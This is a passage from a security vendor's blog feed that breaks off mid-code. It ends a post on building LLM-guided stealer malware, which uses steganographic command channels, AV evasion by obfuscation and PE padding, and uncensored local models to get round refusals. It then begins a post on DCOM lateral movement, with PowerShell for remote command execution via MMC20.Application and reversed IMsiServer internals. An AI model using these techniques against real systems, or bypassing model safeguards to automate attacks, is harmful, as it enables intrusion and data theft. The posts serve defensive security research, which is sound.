Agent</figcaption></div></figure><p><span><em></em></span></p><p>As you may have noticed, the prompt is not built according to prompt engineering best practices, but it worked perfectly for me – you should try and improve on it.</p><p><strong></strong></p><p><strong>Working!</strong></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt9ef06ab1045ad8df" width="570" alt="fig36-working-poc-test.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt9ef06ab1045ad8df/67855a8e4ac08c55392a054e/fig36-working-poc-test.png" height="809" /><figcaption style="text-align: center;" style="text-align: center;">Figure 36: Testing the LLM-guided malware stealing capability</figcaption></div></figure><p><strong></strong></p><h5><span style="color: rgb(47, 84, 150);">Attacks on Objective</span></h5><p>The LLM-guided stealer used mostly legitimate commands to stay undetected. Additionally, it skipped the world_domination and backups files – an expected behavior since we mainly asked for financial data.</p><p>The add-ons for steganography were pretty simple to implement using the stegano library of python, although many LLMs were already able to get pictures. They didn’t always work as expected, but could be fixed using my own unrestricted LLM server, which is described in the next section.</p><p></p><img asset_uid="blt54b7f8dfd2206a69" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt54b7f8dfd2206a69/67855a8e7dbc19c787f9f489/fig37-stegano-communication.png" alt="fig37-stegano-communication.png" height="auto"/><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt601a992b4c4df5ce" width="1011" alt="fig38-stegano-communication.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt601a992b4c4df5ce/67855a8fa1a6c73299630ebd/fig38-stegano-communication.png" height="424" /><figcaption style="text-align: center;" style="text-align: center;">Figures 37 and 38: Generation of steganography pictures hiding the communication </figcaption></div></figure><p><strong></strong></p><h5><span style="color: rgb(47, 84, 150);">Make it Undetected</span></h5><p>As mentioned at the beginning of this blog, LLMs can help obfuscate source code to evade detection, and that’s exactly what I used the LLM for. Then I went one step further by compiling the code and asking the LLM to artificially inflate the file with easy-to-compress junk data without affecting the logics of the executable. As an output, I received a self-unarchiving zip approximately 1MB in size, with an internal file of 700MB – all undetected!</p><p></p><p></p><p></p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img width="602" src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXfrBDQRFKjTGq0l4IehIbOqgJ-9b1vNG-pBv6UxJLXeIKxtzIx57PVQHeZZOJvjVGuK80QOA3JGfOxyuhvDMtfLutCRNqyJsd4zn5TgNrWyNRUZwCVCyut8G1_BaxjWpTtNB5yp?key=jR49L7g6a-5y_DJm96gpTS18" height="135.87" /><figcaption style="text-align: center;" style="text-align: center;">Figure 39: Compiled LLM-guided malware – undetected in VT</figcaption></div></figure><p></p><p><strong></strong></p><p>The artificial inflation, also known as the PE padding technique, is often used by malware developers of well-known stealer strains like Emotet, Qbot, and others to stay above the maximum limit of file size that most AVs are able to scan without a drop in performance, while still being compressed to a small file for easy delivery. These are usually inflated with null bytes that are easy to compress.</p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt04f6d74b8058e18f" width="472" alt="fig41-null-bytes-padding.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt04f6d74b8058e18f/67855aa426c6b470f93efe62/fig41-null-bytes-padding.png" height="160" /><figcaption style="text-align: center;" style="text-align: center;">Figure 40: Null Bytes Inflation</figcaption></div></figure><p><strong></strong></p><h5><span style="color: rgb(47, 84, 150);">Unrestricted LLMs</span></h5><p>So far everything is working, but most available LLMs would not try to send commands downloading additional tools or escalating privileges. So I switched the communication for unrestricted local LLMs (such as HackerGPT or customized uncensored LLMs).</p><p>There are several optional unrestricted LLMs. I used the easy-to-deploy Ollama, which already has a nice database of LLMs for any purpose, including unrestricted LLMs. Setting up Ollama is done in three simple steps, but it may require a high-end GPU to run flawlessly.</p><p>1. Download and install Ollama:</p><pre><em>curl -fsSL </em><u><em>https://ollama.com/install.sh</em></u><em> | sh&nbsp;</em></pre><p>2. Choose and pull the model:</p><pre><em>ollama pull llama3.1-uncensored</em></pre><p>3. Run the model:</p><pre><em>ollama run llama3.1-uncensored</em></pre><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt3671885c67f9edbe" width="493" alt="fig41-ollama-LLms-DB.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt3671885c67f9edbe/67855aa449bc8c651843a199/fig41-ollama-LLms-DB.png" height="560" /><figcaption style="text-align: center;" style="text-align: center;">Figure 41: Ollama’s LLMs Database</figcaption></div></figure><p><strong></strong></p><p>I tested several LLMs, and most of them were great, but I chose one designed specifically for offensive cybersecurity, WhiteRabbitNeo.</p><p>Below is a look at the API and chat generation of Ollama:</p><p></p><p></p><img asset_uid="blta4d9e8ce587906c0" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blta4d9e8ce587906c0/67855aa4f28bd99c5766a287/fig42-ollama-api-functionality.png" alt="fig42-ollama-api-functionality.png" height="auto"/><p></p><p></p><img asset_uid="bltb61bde3eb516db2c" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltb61bde3eb516db2c/67855aa4a840ac1475d5162f/fig43-ollama-api-functionality.png" alt="fig43-ollama-api-functionality.png" height="auto"/><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt2067dbf33c1cc5ba" width="811" alt="fig44-ollama-api-functionality.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt2067dbf33c1cc5ba/67855aa40475a65273659da4/fig44-ollama-api-functionality.png" height="366" /><figcaption style="text-align: center;" style="text-align: center;">Figures 42, 43, 44: Ollama API functionality</figcaption></div></figure><p><strong></strong></p><p>Finally, all I had to change in my POC were the following few lines:</p><p></p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blte18826ebce6689fd" width="1101" alt="fig45-fixed-send-message-function.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte18826ebce6689fd/67855aa4d9df898802e03f10/fig45-fixed-send-message-function.png" height="114" /><figcaption style="text-align: center;" style="text-align: center;">Figure 45: Updated Function for Communication with Ollama</figcaption></div></figure><p></p><p><strong></strong></p><h5><span style="color: rgb(47, 84, 150);">The LLM-Based Attack Lifecycle</span></h5><p>Now we can deploy and play the game via our LLM-based attack lifecycle, the steps of which are mentioned above.<span><strong></strong></span></p>undefined<p><strong>Figure 46: Full flow agent idea demonstration</strong></p><p><br />We’re almost done! Next, I wanted to see what my LLM-guided malware can do with unrestricted LLMs. What would happen if I left the agent to run for a bit while I had some coffee?</p><p>It tried to download and execute several tools but failed to do so since I tested the malware on an empty and new Linux VM. The agent tried to fix the errors by installing the missing common libraries.</p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt5de6dbc9602d702c" width="1161" alt="fig47-llm-guided-attempts-to-fix-missing-libraries.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt5de6dbc9602d702c/67855aa538abf9e29d1f08df/fig47-llm-guided-attempts-to-fix-missing-libraries.png" height="738" /><figcaption style="text-align: center;" style="text-align: center;">Figure 47: LLM-Guided Malware Attempts to Install Additional Libraries to Avoid Failures</figcaption></div></figure><p><strong></strong></p><h5><span>Takeaways and Follow Ups</span></h5><p>Today, LLMs are already capable of making attacks faster and much more frequent.</p><ul><li><p>We could add the following to the POC to make it even more effective:</p><ul><li><p>Rewrite into a more efficient and less common language – Rust / GO</p></li><li><p>Build a packer for better and longer evasion</p></li><li><p>Try with local Tiny LLMs to work without the need of an external LLM server&nbsp;</p></li><li><p>Make the agent perform the request for the malware to be generated and compiled on request during the initial LLM communication using a polymorphic algorithm</p></li><li><p>Hunt for LLM-based malware – which can be tricky (keep an eye out for another blog on this topic)</p></li><li><p>Research and move the idea into BLM (Behavior Large Models – often developed for future robots)<strong> – DO NOT TRY AT HOME</strong></p></li></ul></li></ul><p><strong>Underestimated research</strong> – Recently, Claude announced that their latest version of <a href="https://www.anthropic.com/news/3-5-models-and-computer-use">Claude 3.5 “Sonnet”</a> will be able to follow user’s commands to move a cursor, click on relevant locations, and input information via a virtual keyboard to emulate the way people interact with their own computer. This capability is exactly what I was missing to make my LLM-guided malware even more efficient. Just after that, OpenAI announced “<a href="https://www.bloomberg.com/news/articles/2024-11-13/openai-nears-launch-of-ai-agents-to-automate-tasks-for-users">Operator</a>” with similar abilities. Finally, information was leaked that Google’s <a href="https://www.theverge.com/2024/10/26/24280431/google-project-jarvis-ai-system-computer-using-agent">Jarvis AI</a> can use a computer to take actions on a person's behalf.</p><p></p><h5><span style="color: rgb(47, 84, 150);">Conclusion</span></h5><p>My view of how LLMs will affect cyber attacks has evolved throughout my research; the cyber threats posed by LLMs are not a revolution, but an evolution. There’s nothing new there, LLMs are just making cyber threats better, faster, and more accurate on a larger scale. As demonstrated in this blog, LLMs can be successfully integrated into every phase of the attack lifecycle with the guidance of an experienced driver. These abilities are likely to grow in autonomy as the underlying technology advances.&nbsp;</p><p>Defending against this evolution requires a corresponding evolution in the prevention methods. In order to break down the attack, defenders are only required to break down two of the stages (on average). It can be done. But defenders need the right tools to do it.</p><p><strong>We'll update this blog soon with video from the DeepSec Conference where this research was presented.</strong></p><p>If you are a cybersecurity professional who wants to fight AI with the best AI, then <a href="https://info.deepinstinct.com/request-a-demo">request your free scan</a> to see the power of cybersecurity’s only deep learning framework for yourself.</p><p><strong></strong></p><p><strong>References</strong></p><p>https://github.com/MythicAgents/Medusastopwatch.io</p><p>https://github.com/GreyDGL/PentestGPTCensys.com</p><p>ChatGPT.com</p><p>Gemini.com</p><p>https://github.com/PhonePe/mantis</p><p>https://github.com/fin3ss3g0d/evilgophish</p><p>https://github.com/kingridda/voice-cloning-AI</p><p>https://github.com/nomic-ai/gpt4all</p><p>https://github.com/kgretzky/evilginx3</p><p>huggingface.com</p><p>Ollama.com</p><p>WhiteRabbitNeo.com</p><p>https://github.com/jasonacox/TinyLLM</p><p>https://github.com/katanaml/sparrow</p><p></p><p></p> ]]>
</content:encoded>
</item>
<item>
<title>
<![CDATA[ Forget PSEXEC: DCOM Upload & Execute Backdoor ]]>
</title>
<link>https://www.deepinstinct.com/blog/forget-psexec-dcom-upload-execute-backdoor</link>
<dc:creator>
<![CDATA[ Eliran Nissan ]]>
</dc:creator>
<pubDate>Mon, 25 Nov 2024 14:00:00 +0000</pubDate>
<category>
<![CDATA[ Blog ]]>
</category>
<guid isPermaLink="false">https://www.deepinstinct.com/blog/forget-psexec-dcom-upload-execute-backdoor</guid>
<enclosure url="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltc65864885392870f/67577170fc312a2844569a3d/DCOM_1200x627.jpg" length="1118903" type="image/jpeg"/>
<description>
<![CDATA[ Join Deep Instinct Security Researcher Eliran Nissan as he exposes a powerful new DCOM lateral movement attack that remotely writes custom payloads to create an embedded backdoor. ]]>
</description>
<content:encoded>
<![CDATA[ <h5>Executive Summary</h5><p></p><p>This blog post presents a powerful new DCOM lateral movement attack that allows the writing of custom DLLs to a target machine, loading them to a service, and executing their functionality with arbitrary parameters. This backdoor-like attack abuses the IMsiServer COM interface by reversing its internals. This process is described step-by-step in this blog. The research also includes a working POC tool to demonstrate the attack on the latest Windows builds.&nbsp;</p><p></p><h5><strong>Terminology</strong>&nbsp;</h5><p></p><h6>COM &amp; DCOM</h6><p></p><p>The Component Object Model (COM) is a Microsoft standard for creating binary software components that can interact. DCOM (Distributed COM) Remote Protocol extends the COM standard over a network using RPC by providing facilities for creating, activating, and managing objects found on a remote computer.&nbsp;</p><p></p><h6>Objects, Classes &amp; Interfaces</h6><p></p><p>In COM, an object is an instance of compiled code that provides some service to the rest of the system. A COM object's functionality depends on the interfaces its COM class implements.&nbsp;</p><p>The compiled code is defined as a COM class, which is identified by a globally unique Class ID (<strong>CLSID</strong>) that associates a class with its deployment in the file system, either DLL or EXE.&nbsp;</p><p>COM classes that can be remotely accessed (with DCOM) are identified with another globally unique identifier (GUID) - <strong>AppID</strong>.&nbsp;</p><p>A COM interface can be regarded as an abstract class. It specifies a contract that contains a set of methods that implementing classes must serve. All communication among COM components occurs through interfaces, and all services offered by a component are exposed through its interfaces, which can be represented with a globally unique Interface ID (<strong>IID</strong>). A COM class can implement several COM interfaces, and interfaces can be inherited from other interfaces.&nbsp;</p><p></p><h5>COM Interface As a C++ Class</h5><p></p><p>The C++ implementation of interfaces is done with classes. A C++ class is implemented as a struct, with its first member pointing to an array of member functions the class supports. This array is called a virtual table, or vtable for short<span style="color: rgb(209, 52, 56);">.</span>&nbsp;</p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt578b7ffffc80a648" alt="fig-1-com-nterfaces-and-vtables.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt578b7ffffc80a648/6757642df56c13400abd68af/fig-1-com-nterfaces-and-vtables.png" height="auto" /><figcaption style="text-align: center;" style="text-align: center;">Figure 1: COM interfaces and vtables</figcaption></div></figure><p><span style="color: rgb(14, 40, 65);"><em></em></span></p><h5>DCOM Research History</h5><p></p><p>Lateral movement through DCOM is a well-known “thing” in cybersecurity, dating back to 2017 when <a href="https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/"><u>Matt Nelson</u></a> revealed the first abuse of <em>MMC20.Application::ExecuteShellCommand</em> to run commands on remote systems. Using the <a href="https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/"><u>research process</u></a> Matt designed, researchers found <a href="https://www.cybereason.com/blog/dcom-lateral-movement-techniques"><u>more DCOM objects</u></a> that expose an execution primitive on remote machines, among them:&nbsp;</p><ul><li><p><em>ShellBrowserWindow </em><strong>revealing </strong><em>ShellExecuteW, Navigate, </em><strong>and</strong><em> Navigate2&nbsp;</em></p></li></ul><ul><li><p><em>Excel.Application </em><strong>revealing</strong><em> ExecuteExcel4Macro, RegisterXLL&nbsp;</em></p></li></ul><ul><li><p><em>Outlook.Application </em><strong>revealing</strong><em> CreateObject&nbsp;</em></p></li></ul><p>The same research process was even <a href="https://www.scorpiones.io/articles/lateral-movement-using-dcom-objects"><u>automated</u></a>, and it seemed like most of the DCOM attack surface was getting mapped thanks to it – as fewer attacks were revealed over time. In this blog post, I explain how I put the research process to the test to find a new DCOM lateral movement attack.</p><p></p><h5>The Known Method to Research DCOM</h5><p></p><p>Looking for a new DCOM lateral movement method follows the following steps:&nbsp;</p><ul><li><p>Search AppIDs on the machine for entries that have default launch and access permissions&nbsp;</p><ul><li>James Forshaw<strong>’</strong>s <a href="https://github.com/tyranid/oleviewdotnet"><u>OleView .NET</u></a> tool correlates this data and other useful information&nbsp;</li></ul></li></ul><ul><li><p>AppIDs found with the prior criteria represent DCOM objects that are remotely accessible for users with a local admin privilege&nbsp;</p></li></ul><ul><li><p>Explore suspected objects, traditionally with PowerShell, which gives easy access to object creation, displaying interface methods &amp; properties, and invoking them&nbsp;</p></li></ul><ul><li><p>Repeat the prior step until a method that can run custom code has been located&nbsp;</p></li></ul><p>Here I am applying those steps to implement the known <em>MMC20.Application::ExecuteShellCommand</em> lateral movement attack:&nbsp;</p><ul><li><p>The AppID <em>7E0423CD-1119-0928-900C-E6D4A52A0715</em>, which hosts the <em>MMC20.Application</em> class, has default permissions&nbsp;</p></li></ul><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt0a779f903f3ef196" alt="fig-2-Mmc-Default-Premissions.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt0a779f903f3ef196/6757642df53d9889e6375c0f/fig-2-Mmc-Default-Premissions.png" height="auto" /><figcaption style="text-align: center;" style="text-align: center;">Figure 2: MMC default permissions</figcaption></div></figure><p>&nbsp;</p><ul><li><p>The AppID mentioned above maps to the CLSID <em>49B2791A-B1AE-4C90-9B8E-E860BA07F889</em>&nbsp;</p></li></ul><ul><li><p>Exploring the object created from said CLSID in PowerShell:&nbsp;</p></li></ul><pre>PS C<strong>:</strong>\<strong>&gt;</strong> <strong>$com</strong> <strong>=</strong> <strong>[</strong>Type<strong>]::</strong>GetTypeFromCLSID<strong>(</strong>"49B2791A-B1AE-4C90-9B8E-E860BA07F889"<strong>)<br bold="[object Object]"/><br bold="[object Object]"/></strong>PS C:\&gt; <strong>$mmcApp</strong> = [System.Activator]::CreateInstance<strong>($com)</strong><br bold="[object Object]"/><br bold="[object Object]"/>PS C:\&gt; Get-Member -InputObject <strong>$mmcApp</strong><br bold="[object Object]"/><br bold="[object Object]"/>TypeName: System.__ComObject#{a3afb9cc-b653-4741-86ab-f0470ec1384c}</pre><table><tbody><tr><td><strong>Name</strong></td><td><strong>MemberType</strong></td><td><strong>Definition</strong></td></tr><tr><td>Help</td><td>Method</td><td>void Help ()</td></tr><tr><td>Hide</td><td>Method</td><td>void Hide ()</td></tr><tr><td>Document</td><td>Property</td><td>Document Document () {get}</td></tr></tbody></table><p></p><ul><li><p>Repeating the queries on discovered properties reveals the method <em>ExecuteShellCommand</em> which allows RCE&nbsp;</p></li></ul><pre>&nbsp;PS C<strong>:</strong>\<strong>&gt;</strong> Get-Member <strong>-</strong>InputObject <strong>$mmcApp.</strong>Document<strong>.</strong>ActiveView<br /><br />TypeName: System.__ComObject#{6efc2da2-b38c-457e-9abb-ed2d189b8c38}</pre><table><tbody><tr><td><strong>Name</strong></td><td><strong>MemberType</strong></td><td><strong>Definition</strong></td></tr><tr><td>Back</td><td>Method</td><td>void Back ()</td></tr><tr><td>Close</td><td>Method</td><td>void Close ()</td></tr><tr><td>ExecuteShellCommand</td><td>Method</td><td>void ExecuteShellCommand (string, string, string, string)</td></tr></tbody></table><p></p><ul><li><p>Finally, we create a DCOM session and invoke the method we found to complete the attack.&nbsp;</p></li></ul><pre>&lt;# MMCExec.ps1 #&gt;<br /><br /><strong>$com</strong> = [Type]::GetTypeFromCLSID("49B2791A-B1AE-4C90-9B8E-E860BA07F889", "TARGET.I.P.ADDR")<br /><br /><strong>$mmcApp</strong> = [System.Activator]::CreateInstance<strong>($com)</strong><br /><br /><strong>$mmcApp</strong>.Document.ActiveView.ExecuteShellCommand("file.exe", "/c commandline", "c:\file\folder",<strong>$null</strong>, 0)</pre><p><strong></strong></p><h5>The Query for a New Attack</h5><p></p><p>Using this recipe, I started searching for a new DCOM lateral movement attack. Here are my findings:&nbsp;</p><ul><li><p>AppID <em>000C101C-0000-0000-C000-000000000046</em> has default permissions, OleView .NET reveals the following details:&nbsp;</p></li></ul><ul><li><p>Hosted on the Windows Installer service (<em>msiexec.exe</em>)&nbsp;</p></li></ul><ul><li><p>Hosts a COM object named “<em>Msi install server</em>“ with a CLSID equal to the AppID&nbsp;</p></li></ul><ul><li><p>The object exposes an interface named <em>IMsiServer</em>, with an IID equal to the AppID&nbsp;</p></li></ul><ul><li><p>The class and interface are implemented in <em>msi.dll</em> (pointed from <em>ProxyStubClsid32</em> registry key)&nbsp;</p></li></ul><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltec4af8b13041099d" alt="fig-3-Msi-install-server.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltec4af8b13041099d/6757642d30b280de20df2726/fig-3-Msi-install-server.png" height="auto" /><figcaption style="text-align: center;" style="text-align: center;">Figure 3: Msi Install Server</figcaption></div></figure><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blta21794dcce89faca" alt="fig-4-msi-install-server-default-permissions.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blta21794dcce89faca/6757642d4af80b82bcf0be8c/fig-4-msi-install-server-default-permissions.png" height="auto" width="auto" /><figcaption style="text-align: center;" style="text-align: center;">Figure 4: Msi install server default permissions</figcaption></div></figure><p><span style="color: rgb(14, 40, 65);"></span></p><ul><li><p>The name of the object and its location within the installer service piqued my interest, so I continued to query its methods with PowerShell:&nbsp;</p></li></ul><pre>PS C<strong>:</strong>\<strong>&gt;</strong> <strong>$com</strong> <strong>=</strong> <strong>[</strong>Type<strong>]::</strong>GetTypeFromCLSID<strong>(</strong>"000C101C-0000-0000-C000-000000000046"<strong>)<br bold="[object Object]"/><br bold="[object Object]"/></strong>PS C:\&gt; <strong>$obj</strong> = [System.Activator]::CreateInstance<strong>($com)</strong><br bold="[object Object]"/><br bold="[object Object]"/>PS C:\&gt; Get-Member -InputObject <strong>$obj</strong><br bold="[object Object]"/><br bold="[object Object]"/>TypeName: System.__ComObject</pre><table><tbody><tr><td><strong>Name</strong></td><td><strong>MemberType</strong></td><td><strong>Definition</strong></td></tr><tr><td>CreateObjRef</td><td>Method</td><td><p>System.Runtime.Remoting.ObjRef CreateObjRef(type requestedType)</p></td></tr><tr><td>Equals</td><td>Method</td><td>boot Equals (System.Object obj)</td></tr><tr><td>GetHashCode</td><td>Method</td><td>int GetHashCode()</td></tr></tbody></table><p></p><p>The results describe generic .NET object methods, and the “TypeName” field does not point to the <em>IMsiServer</em> IID. This means the PowerShell runtime failed to query information on the <em>IMsiServer</em> object; we can't search for an attack this way.&nbsp;</p><p>The difference between the successful example of our MMC20.Application and our current <em>IMsiServer</em> is the <em>IDispatch</em> interface, which the former implements and the latter does not.&nbsp;&nbsp;</p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt231797d62efbfe45" alt="fig-5-mmc-vs-msi.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt231797d62efbfe45/6757642d30b280c659df272a/fig-5-mmc-vs-msi.png" height="auto" /><figcaption style="text-align: center;" style="text-align: center;">Figure 5: MMC20.Application vs Msi install server</figcaption></div></figure><h5></h5><h5><span style="color: rgb(14, 40, 65);"></span>IDispatch</h5><p></p><p><em>IDispatch </em>is a fundamental COM interface<span style="color: rgb(209, 52, 56);">,</span> that allows scripting languages (VB, PowerShell) and higher-level languages (.NET) to interact with COM objects that implement it without prior knowledge. It achieves this by exposing unified methods that describe and interact with the implementing object. Among those methods are:&nbsp;</p><ul><li><p><em>IDispatch::GetIDsOfNames</em> maps names of methods or properties to an integer value named DISPID.&nbsp;</p></li></ul><ul><li><p><em>IDispatch::Invoke</em> calls one of the object's methods according to a DISPID.&nbsp;</p></li></ul><p>All of the known DCOM lateral movement attacks are built on documented IDispatch-based interfaces, allowing easy interaction through PowerShell. The ease of interacting with IDispatch interfaces blinded the security community to a large portion of possible attacks.&nbsp;</p><p>To solve this issue and further our research with <em>IMsiServer</em>, which lacks documentation and does not support IDispatch, we need to design an alternative approach that does not depend on PowerShell.&nbsp;</p><p>&nbsp;</p><h5><strong>Reversing Interface Definitions</strong></h5><p>&nbsp;</p><p>To learn more about <strong>IMsiServer</strong>, we must inspect the DLL containing the interface definition - msi.dll:&nbsp;</p><ul><li><p>Using IDA and searching msi.dll for the hex bytes representing the IID of <strong>IMsiServer </strong>- <em>1C 10 0C 00 00 00 00 00 C0 00 00 00 00 00 00 46</em> we find a symbol named <em>IID_IMsiServer</em>.&nbsp;</p></li></ul><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt812d888f5e2d4b1a" alt="fig-6-ida-byte-search.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt812d888f5e2d4b1a/6757642d9628e1990d1e3eae/fig-6-ida-byte-search.png" height="auto" /><figcaption style="text-align: center;" style="text-align: center;">Figure 6: IDA byte search</figcaption></div></figure><p><span style="color: rgb(14, 40, 65);"></span></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltb7450a33a9bb4908" alt="fig-7-the-result-symbol.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltb7450a33a9bb4908/6757642d2c929d7140b24355/fig-7-the-result-symbol.png" height="auto" /><figcaption style="text-align: center;" style="text-align: center;">Figure 7: The result symbol</figcaption></div></figure><p><span style="color: rgb(14, 40, 65);"></span></p><ul><li><p>Cross referencing <em>IID_IMsiServer</em>, we find <em>CMsiServerProxy::QueryInterface</em>, which is a part of the client’s implementation for the <em>IMsiServer</em> interface.&nbsp;</p></li></ul><ul><li><p>Cross referencing <em>CMsiServerProxy::QueryInterface</em> reveals the interface’s vtable in the .rdata section:&nbsp;</p></li></ul><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt4a55c22517ab0233" alt="fig-8-CMsiServerProxy-vftable.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt4a55c22517ab0233/6757642e1cd21ee1dac22f27/fig-8-CMsiServerProxy-vftable.png" height="auto" /><figcaption style="text-align: center;" style="text-align: center;">Figure 8: CMsiServerProxy::`vftable' </figcaption></div></figure><p><span style="color: rgb(14, 40, 65);"></span></p><p>With this data and some extra <a href="https://github.com/tongzx/nt5src"><u>definitions, </u></a>I recreated the IMsiServer Interface:&nbsp;</p><pre>struct IMsiServer <strong>:</strong> IUnknown<br /><br />{<br /><br />&nbsp;&nbsp;&nbsp; virtual iesEnum InstallFinalize( iesEnum iesState,&nbsp; void* riMessage,&nbsp; boolean fUserChangedDuringInstall) = 0;<br /><br />&nbsp;&nbsp;&nbsp; virtual IMsiRecord* SetLastUsedSource( const ICHAR* szProductCode,&nbsp; const wchar_t* szPath, boolean fAddToList,&nbsp; boolean fPatch) = 0;<br /><br />&nbsp;&nbsp;&nbsp; virtual boolean Reboot() = 0;<br /><br />&nbsp;&nbsp;&nbsp; virtual int DoInstall( ireEnum ireProductCode,&nbsp; const ICHAR* szProduct,&nbsp; const ICHAR* szAction,const ICHAR* szCommandLine,&nbsp; const ICHAR* szLogFile,int iLogMode,&nbsp; boolean fFlushEachLine,&nbsp; IMsiMessage* riMessage,&nbsp; iioEnum iioOptions , ULONG, HWND__*, IMsiRecord&amp; ) = 0;<br /><br />&nbsp;&nbsp;&nbsp; virtual HRESULT IsServiceInstalling() = 0;<br /><br />&nbsp;&nbsp;&nbsp; virtual IMsiRecord* RegisterUser( const ICHAR* szProductCode,&nbsp; const ICHAR* szUserName,const ICHAR* szCompany,&nbsp; const ICHAR* szProductID) = 0;<br /><br />&nbsp;&nbsp;&nbsp; virtual IMsiRecord* RemoveRunOnceEntry( const ICHAR* szEntry) = 0;<br /><br />&nbsp;&nbsp;&nbsp; virtual boolean CleanupTempPackages( IMsiMessage&amp; riMessage, bool flag) = 0;<br /><br />&nbsp;&nbsp;&nbsp; virtual HRESULT SourceListClearByType(const ICHAR* szProductCode, const ICHAR*, isrcEnum isrcType) = 0;<br /><br />&nbsp;&nbsp;&nbsp; virtual HRESULT SourceListAddSource( const ICHAR* szProductCode,&nbsp; const ICHAR* szUserName,&nbsp; isrcEnum isrcType,const ICHAR* szSource) = 0 ;<br /><br />&nbsp;&nbsp;&nbsp; virtual HRESULT SourceListClearLastUsed( const ICHAR* szProductCode,&nbsp; const ICHAR* szUserName) = 0;<br /><br />&nbsp;&nbsp;&nbsp; virtual HRESULT RegisterCustomActionServer( icacCustomActionContext* picacContext,&nbsp; const unsigned char* rgchCookie,&nbsp; const int cbCookie, IMsiCustomAction* piCustomAction,&nbsp; unsigned long* dwProcessId,&nbsp; IMsiRemoteAPI** piRemoteAPI,&nbsp; DWORD* dwPrivileges) = 0;<br /><br />&nbsp;&nbsp;&nbsp; virtual HRESULT CreateCustomActionServer( const icacCustomActionContext icacContext,&nbsp; const unsigned long dwProcessId,&nbsp; IMsiRemoteAPI* piRemoteAPI,const WCHAR* pvEnvironment,&nbsp; DWORD cchEnvironment,&nbsp; DWORD dwPrivileges,&nbsp; char* rgchCookie,&nbsp; int* cbCookie,&nbsp; IMsiCustomAction** piCustomAction,&nbsp; unsigned long* dwServerProcessId,DWORD64 unused1, DWORD64 unused2) = 0;<br /><br /> [snip]<br /><br />}</pre><p><strong></strong></p><h5>Remote Installations?</h5><p></p><p>The <em>DoInstall</em> function immediately stands out as a promising candidate to perform lateral movement <span style="color: rgb(209, 52, 56);">–</span> installing an MSI on a remote machine. However, an inspection of its server-side implementation at <em>CMsiConfigurationManager::DoInstall</em> shows it isn’t possible remotely:&nbsp;</p><pre>// Simplified pseudo code<br /><br />CMsiConfigurationManager::DoInstall([snip])<br /><br />{<br /><br /> [snip]<br /><br /><strong> if</strong> (!OpenMutexW(SYNCHRONIZE, 0, L"Global\\_MSIExecute"))<br /><br /><strong> return</strong> ERROR_INSTALL_FAILURE;<br /><br /> [snip]<br /><br />}</pre><p></p><p>This code means when invoking a DCOM call for <em>IMsiServer::DoInstall</em>, the remote server will check the existence of a mutex named <em>Global\\_MSIExecute</em>. This mutex is not open by default, thus the call will fail.&nbsp;<span style="color: rgb(209, 52, 56);">&nbsp;</span></p><p>Msi.dll creates this mutex from functions inaccessible to our <em>IMsiServer</em> interface, so we must find a different function to abuse <em>IMsiServer</em>.&nbsp;</p><p></p><h5>Remote Custom Actions</h5><p></p><p>My second candidate for abuse is:&nbsp;</p><pre>HRESULT IMsiServer<strong>::</strong>CreateCustomActionServer<strong>(<br bold="[object Object]"/><br bold="[object Object]"/></strong>&nbsp;&nbsp;&nbsp; const icacCustomActionContext icacContext,<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp; const unsigned long dwProcessId,<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp; IMsiRemoteAPI* piRemoteAPI,<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp; const WCHAR* pvEnvironment,&nbsp;<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp; DWORD cchEnvironment,&nbsp;<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp; DWORD 